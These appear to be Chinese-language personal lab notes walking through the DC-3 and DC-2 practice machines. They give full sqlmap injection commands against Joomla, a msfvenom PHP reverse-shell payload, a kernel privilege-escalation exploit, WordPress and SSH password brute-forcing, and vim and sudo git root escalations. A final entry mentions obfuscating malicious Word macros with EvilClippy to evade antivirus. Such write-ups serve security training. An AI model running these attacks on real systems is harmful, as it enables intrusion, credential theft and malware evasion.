2021.10.8DC-3 QUS环境错误，网卡配置错误找不到IP。根据DC-3靶机教程更改错误 nmap -sV -Pn -A -p- -v 192.168.50.19 这个命令的含义输出一些开放的端口号：80端口，65534端口。以及网站的CMS：Joomla开源安装使用工具JoomScan，一看就是专门针对Joomla框架的漏洞利用软件。相当于DC-2靶机的wpscan运行命令 searchsploit joomla 3.7.0 查找joomla370版本的漏洞的相对信息位置path。通常变量PATH为： /usr/share/exploitdb/exploits/ 。存储路径就是PATH/path从漏洞信息里直接得到漏洞利用语句： sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] 所以改一下IP地址直接运行sqlmap就行了接下来是正常的sqlmap获取数据环节，直接给运行的命令了# sqlmap -u "http://192.168.50.19/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs --batch -p list[fullordering] --+ 输出数据库信息 # sqlmap -u "http://192.168.50.19/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --current-db --batch -p list[fullordering] --+ 输出当前使用的数据库 # sqlmap -u "http://192.168.50.19/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --batch -p list[fullordering] -D "joomladb" --tables --+ 输出当前使用的数据库（joomladb）中的表信息 # sqlmap -u "http://192.168.50.19/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --thread 10 -p list[fullordering] -D "joomladb" -T "#__users" --columns --+ 输出表中的字段名称。注意这里不能使用--batch自动化参数。因为需要手动选择一些具体参数。最重要的参数是“custom”，需要输入“1” # sqlmap -u "http://192.168.50.19/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -p list[fullordering] -D "joomladb" -T "#__users" -C "username,password" --dump --thread 10 --+ 爆出数据收集password字段数据，保存至passwdhash.txt中利用john哈希值密码爆破软件对passwdhash.txt进行爆破，命令： john passwdhash.txt msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.50.30 LPORT=4444 R>test1.php 命令含义？制作php木马msfconsole和msfvenom是metasploit漏洞利用工具中的两个不同的模块。msfconsole（安慰）是集中控制台；msfvenom（毒液）生成后台木马上传木马，并且执行。在kali开启对应端口的监听。成功获取shell python -c 'import pty;pty.spawn("/bin/bash")' 进入shell之后没有命令提示，使用这个命令进入伪终端。命令的含义，什么是伪终端？作用是什么？进入伪终端，开始探测可用的命令进行提权，并最终定位内核提权通过searchsploit查找到ubuntu1604的漏洞集合，并且根据现有的命令进行尝试。定位到39772漏洞，浏览漏洞文件并下载漏洞zip文件使用msf中meteperter进行文件上传，具体命令： upload 39772.zip 上传至目标服务器这些命令的来源，为什么要这样使用这个漏洞包？是因为文档还是所有的提权漏洞包都是这样用？再次进入伪终端，解压并执行漏洞文件39772.zip。最终获取到Flag。具体命令如下：$ unzip 39772.zip $ cd 39772 $ tar -xvf exploit.tar $ cd ebpf* $ ./compile.sh $ ./doubleputENDDC-3 ANSS
2021.10.72022.1.91.nmap -sS -sV -O -p- 192.168.1.480/tcp open http Apache httpd 2.4.10 ((Debian)) 7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)http://dc-2/2.访问之,无法访问，在hosts添加域名，访问成功flag1：提示cewlCMS wordpress4.7.10 Mysql PHP3.使用cewl工具制作密码本，命令： cewl http://dc-2/ -v -w passwd.txt4.使用dirmap跑后台，找爆破点http://dc-2/wp-includes/ 目录泄露 http://dc-2/wp-admin/ 后台页面5.搜索wordpress漏洞扫描，发现wpscan工具6.使用命令 wpscan -e u -vp -vt --url http://dc-2/探测该页面存在的的用户名以及相关插件、主题的漏洞Style URL: http://dc-2/wp-content/themes/twentyseventeen/style.css?ver=4.7.10 [+] admin | Found By: Rss Generator (Passive Detection) | Confirmed By: | Wp Json Api (Aggressive Detection) | - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1 | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection) [+] jerry | Found By: Wp Json Api (Aggressive Detection) | - http://dc-2/index.php/wp-json/wp/v2/users/?per_page=100&page=1 | Confirmed By: | Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Login Error Messages (Aggressive Detection) [+] tom | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection) | Confirmed By: Login Error Messages (Aggressive Detection)7.制作用户名列表，使用wpscan进行爆破，命令： wpscan --url http://dc-2/ --usernames username.txt --passwords passwd.txt得到密码： | Username: jerry, Password: adipiscing | Username: tom, Password: parturient8.使用得到的密码登录jerry帐号，发现flag2。提示：If you can't exploit WordPress and take a shortcut, there is another way.9.使用hydra爆破ssh端口 hydra -V -L username.txt -P passwd.txt 192.168.1.4 -s 7744 ssh没有结果，直接尝试使用之前得到的密码，jerry帐号无法登录，登录了tomd的帐号10.无法使用whoami，权限被限制的很死。尝试查看可用命令。 echo $PATH ：/home/tom/usr/bin tom用户的环境变量/也可以使用命令 export 输出环境变量 cd usr/bin ：less ls scp vi 也就是只用这几个命令可用 vi flag3.txt ：Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.提示我们需要切换到jerry的目录。11. vi /etc/passwd ： 发现了jerry的目录/home/jerry。ls该目录找到flag4，使用vi访问之 vi /home/jerry/flag4.txt ：Go on - git outta here!!!!提示Git提权vim的SUIDs提权：在vim中输入 :set shell=/bin/bash :shell 获得一定的权限。export PATH=$PATH:/bin export PATH=$PATH:/usr/bin将/bin和/usr/bin添加到PATH中，提权。su切换到jerry用户，成功。至此已经获得了相对较高的权限。12.查看目前用户可执行与无法执行的指令： sudo -l输出：Matching Defaults entries for jerry on DC-2: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User jerry may run the following commands on DC-2: (root) NOPASSWD: /usr/bin/git可以不需要密码执行git命令，直接进行git提权sudo git help config !/bin/bash切换到root权限。
2021.10.6利用服务器上安装好的mono环境编译程序：EvilClippy-1.3利用这个程序进行宏病毒的二次混淆过了国内大部分杀软：最近发现这个宏会被WORD报毒。